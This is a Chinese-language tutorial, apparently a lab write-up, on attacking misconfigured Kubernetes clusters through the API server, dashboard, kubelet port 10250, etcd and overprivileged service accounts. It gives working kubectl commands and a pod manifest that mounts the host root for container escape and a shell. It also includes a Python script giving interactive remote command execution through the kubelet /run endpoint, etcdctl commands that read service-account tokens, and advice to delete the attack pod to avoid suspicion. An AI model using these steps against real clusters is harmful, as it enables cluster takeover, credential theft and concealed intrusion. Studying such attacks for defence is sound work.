# api-server 未授权漏洞
# 介绍
通过 apiserver 可以管控整个集群。
默认情况,Kubernetes API Server 提供 HTTP 的两个端口:
1. 本地主机端口 (高版本已弃用)
・HTTP 服务
・默认端口 8080,修改标识–insecure-port
・默认 IP 是本地主机,修改标识 —insecure-bind-address
・在 HTTP 中没有认证和授权检查
・主机访问受保护
2.Secure Port
・默认端口 6443,修改标识 —secure-port
・默认 IP 是首个非本地主机的网络接口,修改标识 —bind-address
・HTTPS 服务。设置证书和秘钥的标识,–tls-cert-file,–tls-private-key-file
・认证方式,令牌文件或者客户端证书
・使用基于策略的授权方式
如果我们能够调用 apiserver,就相当于接管了集群,那么参考 docker 的 api 未授权,我们可以创建一个挂载了宿主机的目录的容器,然后进行逃逸,拿到宿主机权限。
# 环境搭建
本来 api-server 是存在两个 api-sever 端口的,但这里因为我当前环境的 k8s 版本过高,insecure-port 已经被弃用了,所以无法在当前环境搭建 8080 端口的未授权。
因此这里搭建环境是通过将匿名用户 system:anymouse 给绑定到 "cluster-admin" 用户组
中,从而实现配置不当导致的未授权。
如图,错误的角色绑定,导致存在未授权漏洞。
apiVersion: rbac.authorization.k8s.io/v1 | |
kind: ClusterRoleBinding | |
metadata: | |
name: eviltest | |
roleRef: | |
apiGroup: rbac.authorization.k8s.io | |
kind: ClusterRole | |
name: cluster-admin | |
subjects: | |
- apiGroup: rbac.authorization.k8s.io | |
kind: User | |
name: system:anonymous |
环境的恢复,也很简单,只需要把这个错误绑定给删掉就行了。
# 漏洞利用
# api 未授权寻找
如果 apiserver 直接暴露在公网上,那没什么好说的,直接就冲。
但是如果目标 apiserver 不暴露在公网上呢?这种情况下,我们需要先打入内部。
想办法获取目标容器和 node 的权限,当然,通常情况下我们是只能拿到容器权限的。
但是不要紧,在容器内部可以查到 apiserver 的地址,需要注意的是该地址只是集群的内部虚拟地址,并非 nodeip。
然后就是代理进去即可。
# 集群信息收集
首先,收集节点看看我们能拿下哪些主机,可以看到,目标存在两台宿主机,一个 master 和一个 work,我们这里两台都想拿下。
查看集群信息,可以知道有哪些服务,服务名称。
通常 api-server 都会在 master 节点上部署,所以定位 api-server 的位置也可以找到 master
PS:master 的概念并非是一台机子。有时候有些集群的各个 master 组件可能不会部署在同一台机子上,它们可能被分布在多个机器上提供服务。这时候把这些 master 组件加起来才叫 master。
通常我们比较关心的是 api-server 这个组件,因为这是集群的大脑。
如果我们拿下的是其中一个 pod 的话,直接查看 env 变量就行
# 允许 master 参与部署 pod 节点
因为 master 节点默认情况下是不允许部署应用的,所以 master 节点需要多加一步操作,而 work 节点就不需要。
kubectl -s "https://192.168.5.174:6443" describe node <master-name> | grep Taints #查看节点 master 是否允许部署 pod | |
kubectl taint nodes <master-name> node-role.kubernetes.io/master- #允许 master 节点参与部署应用 | |
kubectl taint nodes <master-name> node-role.kubernetes.io/master=true:NoSchedule #禁止 master 节点部署应用 |
# 部署挂载宿主机目录的应用
到这里也很简单,就是简单的部署一个挂载宿主机的应用,然后进入应用就可以了。
PS:这里其实我们可以查看它有的镜像,然后用这个镜像,这样就不需要目标去浪费大量时间去 pull 镜像了(或者说目标不出网没法 pull 镜像的情况)。
这里我们直接用后面的 images id 作为镜像 name 创建 pod 就好了。通过 deployment 能看到具体的镜像名称,pod 则看不到。
而因为通常部署应用的时候,是根据负载均衡去部署的,所以如果我们不指定的话,可能会乱部署。
所以我们用以下 yaml,这里代表在 master 节点上部署我们的应用。尽量用轻量的原始镜像。
kubectl -s "https://192.168.5.174:6443" create -f /home/momo/桌面/attack.yaml |
apiVersion: v1 | |
kind: Pod | |
metadata: | |
name: evil | |
spec: | |
nodeName: master #部署在master节点 | |
containers: | |
- image: nginx #简单的镜像 | |
name: container | |
volumeMounts: | |
- mountPath: /test #把系统的根目录挂载到容器的这个目录下 | |
name: test-volume | |
volumes: | |
- name: test-volume | |
hostPath: | |
path: / |
中间可以使用命令查看 pod 状态 以防各种问题导致容器一直没起起来而不知道。
kubectl -s "https://192.168.5.174:6443" describe pod evil |
成功部署后,发现确实在 master 上
# 进入容器,获取 shell
成功部署后,接下来的就是漏洞的利用了,这里就很简单了,和 docker 挂载差不多。
kubectl -s "https://192.168.5.174:6443" exec -it evil /bin/bash #接下来就可以写计划任务、公私钥直接获取权限了
# 打扫战场
拿到权限后,把我们起的 pod 给删了。避免起疑
kubectl -s "https://192.168.5.174:6443" exec -it evil /bin/bash |
# Kubernetes-dashboard 未授权
# 介绍
Dashboard 是基于网页的 Kubernetes 用户界面。 你可以使用 Dashboard 将容器应用部署到 Kubernetes 集群中,也可以对容器应用排错,还能管理集群资源。 你可以使用 Dashboard 获取运行在集群中的应用的概览信息,也可以创建或者修改 Kubernetes 资源 (如 Deployment,Job,DaemonSet 等等)。 例如,你可以对 Deployment 实现弹性伸缩、发起滚动升级、重启 Pod 或者使用向导创建新的应用,其实就是 web 管理端,本质上也是对 api-server 的调用。
# 环境搭建
kubernetesdashboard 的未授权其实分两种,一种是在原本的 dashboard 中,本身就存在着一个不需要登录的 http 接口,但是这个接口本身并不会暴露出来,所以如果这个接口被暴露在外,就会 dashboard 的未授权。
另一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口 https 的 dashboard 页面可以跳过登录。
# https 跳过认证环境搭建认证
这里搭建非常的简单,只需要在配置文件中添加上一行 --enable-skip-login 即可。
因为 Kubernetes 使用 RBAC (Role-based access control) 机制进行身份认证和权限管理,不同的 serviceaccount 拥有不同的集群权限。
我们点击 Skip 进入 dashboard 实际上使用的是 Kubernetes-dashboard 这个 ServiceAccount,如果此时该 ServiceAccount 没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。
但有些开发者为了方便或者在测试环境中会为 Kubernetes-dashboard 绑定 cluster-admin 这个 ClusterRole(cluster-admin 拥有管理集群的最高权限)。
所以我们还需要将 ServiceAccount 绑定到 cluster-admin 中
这里是将 kubernetes-dashboard 命名空间中的 serviceaccount 账号给加到 cluster-admin 中。
kubectl apply -f xxx.yaml | |
kubectl delete -f xxx.yaml 或者 kubectl delete eviltest #删除掉也很简单。 |
apiVersion: rbac.authorization.k8s.io/v1 | |
kind: ClusterRoleBinding | |
metadata: | |
name: eviltest | |
namespace: kube-system | |
roleRef: | |
apiGroup: rbac.authorization.k8s.io | |
kind: ClusterRole | |
name: cluster-admin | |
subjects: | |
- kind: ServiceAccount | |
name: kubernetes-dashboard | |
namespace: kubernetes-dashboard |
# http 接口暴露环境搭建(未成功)
首先,需要修改 dashboard 的 deployment,将 9090 端口给映射出来(镜像中本身就存在,只是默认不开放暴露出来。)
前面将 9090 给映射出来后,还需要暴露到外网中,这里修改 Service
同时也需要加 name 属性。
但是我在后续访问的时候,无法访问,不知道是 dashboard 版本太高被弃用了还是怎么回事。
# 漏洞利用
这里通过 dashboard 没法执行 kubectl 命令,但实际在 dashboard 中你点开一个对象的配置文件进行修改提交就相当于 kubectl 的 create 和 apply,而 decribe 等查看信息的命令,在 dashboard 中就相当于点开对象的配置文件。
所以我们第一步还是一样的,直接先去找谁是 master,然后再修改 master 的配置文件,让它允许 master 节点部署。然后就是直接启特权容器挂载目录拿 shell。
# 查询 master(或者没法查到)
老样子,查看 role 属性或者 apiserver 的所在宿主机。
# 允许 master 部署应用
虽然这里我们没法用 kubectl,但前面讲了,kubectl 的所有操作本质上就是修改 yaml 文件,因此这里也是只需要修改 yaml 文件即可。
找到目标节点的配置文件,然后删除掉这部分即可。
# 部署特权容器拿 shell
# kubelet api 10250 未授权
# 简介
kubelet 是 kubernetes 集群中真正维护容器状态,具体 “干活” 的组件。每个节点上都运行一个 kubelet 服务进程,默认监听 10250 端口,接收并执行 master(api-server) 发来的指令,管理 Pod 及 Pod 中的容器。通过该端口可以访问和获取 node 资源及状态。kubectl 命令查看 pod 的日志和执行 cmd 命令都是通过 kubectl 的 10250 端口的。
简单的理解:如果说 api-server 未授权是域控的未授权,那么 kubelet 的未授权就相当于域内一台机子的未授权。
# 环境搭建
# 允许匿名登录(需要注意,这个是到目标宿主机上改,并且只作用于当前机子)
首先,先修改配置文件允许匿名登录
vim /var/lib/kubelet/config.yaml |
但这样仅仅只是开启了匿名登录,匿名账号是没有权限的,因此我们还需要设置权限。
# 修改匿名用户权限
和前面 api-server 中的一样,这里把匿名组给绑定到 cluster-admin 中就可以了。
使用下述命令或者 apply 下述 yaml
kubectl create clusterrolebinding eviltest --clusterrole=cluster-admin --user=system:anonymous
apiVersion: rbac.authorization.k8s.io/v1 | |
kind: ClusterRoleBinding | |
metadata: | |
name: eviltest | |
roleRef: | |
apiGroup: rbac.authorization.k8s.io | |
kind: ClusterRole | |
name: cluster-admin | |
subjects: | |
- apiGroup: rbac.authorization.k8s.io | |
kind: User | |
name: system:anonymous |
# 漏洞利用
通过前面的介绍,我们得知 kubelet 只能管控当前宿主机,并且只存在以下接口。
因此通过这个未授权,我们能够得到的权限很有限。
• /pods、/runningpods
• /metrics、/metrics/cadvisor、/metrics/probes
• /spec
• /stats、/stats/container
• /logs
• /run/、/exec/, /attach/, /portForward/, /containerLogs/
# 获取 pod 信息
首先我们通过 pods 这个接口获取到这个节点上的 pod,然后指定目标 pod 执行任意命令即可。
如图。这里 pod 名为 php-deployment-699b9d5c7f-k66jq,命名空间 php,标签 php
可以通过筛选关键字 securityContext 找到特权容器。
# 执行命令
通过前面获取到的信息,向接口 /run/<namespace>/<name>/<labeles> 发送 post 请求,参数 cmd,则可以执行任意命令
import re | |
import json | |
import argparse | |
import requests | |
requests.packages.urllib3.disable_warnings() | |
def exp_go(ip,port): | |
headers={ | |
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat", | |
"content-type":"application/x-www-form-urlencoded" | |
} | |
try: | |
r=requests.get('https://'+ip+':'+port+'/pods',headers=headers,verify=False,timeout=10) | |
info=json.loads(r.text) | |
except: | |
return False | |
for i in range(0,len(info["items"])): | |
try: | |
namespace=info["items"][i]["metadata"]["namespace"] | |
name=info["items"][i]["metadata"]["name"]; | |
k8s_app=info["items"][i]["metadata"]["labels"]["k8s-app"] | |
url="https://"+ip+":"+port+"/run/"+namespace+"/"+name+"/"+k8s_app | |
RCE(url,headers) | |
except: | |
pass | |
def RCE(url,headers): | |
while(1): | |
cmd=input("命令:") | |
data={ | |
"cmd":cmd | |
} | |
r=requests.post(url=url,headers=headers,verify=False,timeout=10,data=data) | |
print("===========命令执行结果=============") | |
print(r.text) | |
print("====================================\n\n") | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser(description='') | |
parser.add_argument('-u', type=str, help='ip:127.0.0.1') | |
parser.add_argument('-p', type=str, help='端口:10250') | |
args = parser.parse_args() | |
result=exp_go(args.u,args.p) |
# etcd 数据库未授权,读取 token
# 简介
https://zhuanlan.zhihu.com/p/94685947
https://blog.csdn.net/boling_cavalry/article/details/88958242
etcd 是一个分布式一致性键值存储系统,用于共享配置和服务发现。
它在 kubernetes 中主要用于存储所有需要持久化的数据。比如一些账号的 token 等都是存储在这的。
其默认监听了 2379 等端口,如果 2379 端口暴露,加上未授权就可能造成 token 等信息泄露。
# k8s 中简单的访问 etcd
ETCD V2 和 V3 是两套不兼容的 API,K8s 用 V3,所以我们需要先通过环境变量设置 API V3:
export ETCDCTL_API=3 |
其次因为我们这里是用 kubeadm 部署的 etcd,所以在访问的时候相当于远程访问,是需要带上证书的,
默认会把 CA 根证书和签发的 Server 证书放在 /etc/kubernetes/pki/etcd 目录下
所以我们访问的命令是
etcdctl --endpoints 127.0.0.1:2379 --cacert=ca.crt --cert=server.crt --key=server.key endpoint health |
当然,我们可以加入 alias 环境变量,这样就不需要每次都带上那么长的证书命令了。
alias etcdctl='etcdctl \ | |
--key=/etc/kubernetes/pki/etcd/server.key \ | |
--cert=/etc/kubernetes/pki/etcd/server.crt \ | |
--cacert=/etc/kubernetes/pki/etcd/ca.crt \ | |
--endpoints https://127.0.0.1:2379' |
# 环境搭建
理论上我们只需要修改这个参数即可。但是我修改了也一直没法生效。不知道什么情况。因为这里没成功部署环境,所以用带证书的操作来假装未授权。
# 漏洞复现
未授权访问流程:
- 设置 etcdapi 版本,检查是否正常链接 etcdctl endpoint health
- 读取 token
- 通过 token 认证访问 API-Server 端口 6443,接管集群
# 连接 etcd
设置 alias,方便操作
export ETCDCTL_API=3 |
# 读取数据
这里如果想获取集群的普通数据的话,是需要解码的,普通数据因为性能要求都经过了编码,但是我们还是能够看到一部分信息的。
如果想要解码,参考文章 https://zhuanlan.zhihu.com/p/94685947
而这里我们要获取的集群 token 数据只用了 base64 编码,所以我们读取是不需要特别的解码的。
etcdctl get / --prefix --keys-only | grep /secrets/ #列出数据库中的 secrets |
etcdctl get /registry/secrets/kube-system/service-account-controller-token-ht74f #获取 serveice-account 的数据 |
这里 token 为 ey 到 #前面部分 b
# 使用 token 访问 api-server
这里需要注意,不是所有的 token 都有权限的,比如我这里的这个 token 就没有权限,加上我没创建一个有权限的账号,所以我估摸着上面列出凭据没一个能有权限去操控 api-server。
kubectl --insecure-skip-tls-verify -s https://192.168.5.174:6443/ --token="" -n kube-system get pods |
# Service Account 高权限
# 简介
https://blog.csdn.net/weixin_37337210/article/details/112757500 (详情可见)
ServiceAccount 是给运行在 Pod 的程序使用的身份认证,Pod 容器的进程需要访问 API Server 时用的就是 ServiceAccount 帐户; ServiceAccount 仅局限它所在的名称空间,每个名称空间创建时都会自动创建一个默认服务帐户;创建 Pod 时,如果没有指定服务帐户,Pod 重新使用默认服务帐户
但是这里需要明白 Service Account 并非是一个账号,而是一种账号。
并且 ServercAccount 账号是按命名空间进行划分的,通常一个 pod 如果不指定它的 serveraccount 账号的话,它就会默认使用这个命名空间下名为 default 的 serviceaccount 账号。
# 漏洞搭建
因为这个账号的权限过低,所以我们是没办法使用该账号去调用 api-server 的,
但是如果管理员错误的设置了它的权限,那么我们就可能能够利用该账号访问 api-server。
首先,前面讲了,如果 pod 在创建的时候不指定 serviceaccount 的话,就会默认使用当前命名空间下的 default 账号。
这里我们先查看 php 这个命名空间的 serviceaccount,有且只有一个(只要你不主动加,就只有一个)
apiVersion: rbac.authorization.k8s.io/v1 | |
kind: ClusterRoleBinding | |
metadata: | |
name: eviltest | |
namespace: kube-system | |
roleRef: | |
apiGroup: rbac.authorization.k8s.io | |
kind: ClusterRole | |
name: cluster-admin | |
subjects: | |
- kind: ServiceAccount | |
name: default | |
namespace: php |
# 漏洞利用
首先,这个账号的证书被挂载在 /run/secrets/kubernetes.io/serviceaccount 目录下
我们这里通过 cdk 就可以快速判断这个账号是否具备高权限。然后进行后续利用。后续的利用其实就是调用 api-server 干你想干的事了。也可读取 token 去访问 api-server 看看有没有权限。